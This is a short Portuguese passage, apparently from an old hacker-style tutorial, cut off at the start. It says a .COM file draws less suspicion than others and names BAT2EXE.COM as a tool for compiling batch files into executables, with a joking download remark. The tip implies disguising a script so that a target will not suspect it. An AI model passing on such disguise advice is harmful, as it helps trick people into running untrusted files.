e muito mais difícil alguém desconfiar de um arquivo .COM, o mais famoso compilador de arquivos de lote (.BAT) é o BAT2EXE.COM para consegui-lo, se vire, conseguir este arquivo

da muito trabalho, você terá que dar um click aqui e esperar 31,7 KB passarem pelo fio do seu telefone!!!! ;^) –hehe

 

 

 

 

——————————————————————————–